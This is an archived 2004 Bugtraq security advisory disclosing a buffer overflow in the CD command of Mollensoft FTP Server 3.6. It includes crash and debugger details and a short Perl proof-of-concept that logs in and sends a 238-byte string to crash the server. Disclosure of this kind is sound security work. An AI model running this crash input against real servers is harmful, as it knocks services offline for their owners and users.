Mollensoft ftp Server ver 3.6 Buffer overflow

From: Chintan Trivedi (chesschintan_at_hotmail.com)
Date: 05/28/04

  • Next message: Murat Balaban: "EnderUNIX Security Anouncement (Isoqlog and Spamguard)"
    Date: 28 May 2004 05:38:45 -0000
    To: bugtraq@securityfocus.com
    
    
    ('binary' encoding is not supported, stored as-is)

    [ Mollensoft ftp Server ver 3.6 Buffer overflow ]

    -----------------------------------------------------
    EOS Advisory - http://www.eos-india.net
    -----------------------------------------------------

    Vendor : http://www.mollensoft.com
    Version : 3.6 (latest)
    Vulnerability : Buffer Overflow

    About Product
    =============

            Mollensoft Lightweight FTP Server is a powerful, reliable FTP server for Windows95/98/NT/2000. It includes New Security and Faster, More Efficient Rules Based Access, Live Client activity Window as well as a specific Client breakdown window (below) and significant enhancement in speed/stability and is especially designed for Intranet Use!

    (direct quote from website)

    Description
    ===========

            A buffer overflow vulnerability exists in its "CD" command which can lead to READ any memory location. An attacker can pass a string of 238 bytes to the "CD" command to cause this overflow.

    ftp> CD AAAAAAA...(238 times)

    The ftpd deamon at this point crashes with an error message saying

    "The instruction at 0x50e0931f referenced memory at 0x41414141. The memory could not be read."

            On debugging the process, the instruction at memory location "0x50E0931F" is found to be "CMP BYTE PTR DS:[ESI], 1F" And the register ESI contains "41414141". So basically the application is trying to READ from 0x41414141. Thus in this manner an attacker can force the application to READ from any memory location. In worst cases if properly exploited the vulnerability can also lead to a remote exploit giving complete access to the vulnerable system.

    Proof Of Concept
    ================

    # C:\Active Perl\perl
    # POC for mollensoft ftp server 3.6
    # Will crash the deamon

    use IO::Socket::INET;

    $host = "localhost";
    $port = 21;
    $buffer = "A" x 238;

    $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>$port);

    print $socket "USER root\r\n";
    $socket->recv($test,100);
    print $test;

    print $socket "PASS password\r\n";
    $socket->recv($test,100);
    print $test;

    print $socket "CD $buffer\r\n";
    $socket->recv($test,100);
    print $test;

    close($socket);

    Credits
    =======

    Chintan Trivedi - chesschintan [at] hotmail.com
    http://www.eos-india.net
    Eye on Security Research Group - India


  • Next message: Murat Balaban: "EnderUNIX Security Anouncement (Isoqlog and Spamguard)"

    Relevant Pages

    • Re: VS2005 - X509 key not loaded correctly for FTPS server authentication ?
      ... >I have written an FTP service in VB.NET. ... > else it does not like the way I loaded the server certificate. ... > ensure the socket is clear of all available data prior to attempting to ...
      (microsoft.public.dotnet.security)
    • Re: Winform cannot connect to webservice via CAS policy
      ... from localhost - which wouldn't work from running from the ftp location. ... CAS it's know about or allow localhost connections. ... Socket s4, Socket s6, Socket& socket, IPAddress& address, ...
      (microsoft.public.dotnet.languages.csharp)
    • Re: Text-oriented network protocols
      ... I haven't done raw FTP in years - there are modules for that now. ... FTP uses two sockets, a command socket and a data socket. ... I don't know if there are any FTP servers that are capable of serving ...
      (comp.lang.perl.misc)
    • Re: Working with nonblocking sockets
      ... >>statement to fetch the data from the socket as it comes in. ... >>when the server stops sending data. ... > Assuming you only have to handle one ftp connection at a time you could do ...
      (comp.lang.tcl)
    • RE: Wininet functions return with error code 12029
      ... I decided to test ftp client that is written with use of sockets. ... there is thrown a socket exception with message "No connection could be made ... If I try to put in the loop also the ...
      (microsoft.public.pocketpc.developer.networking)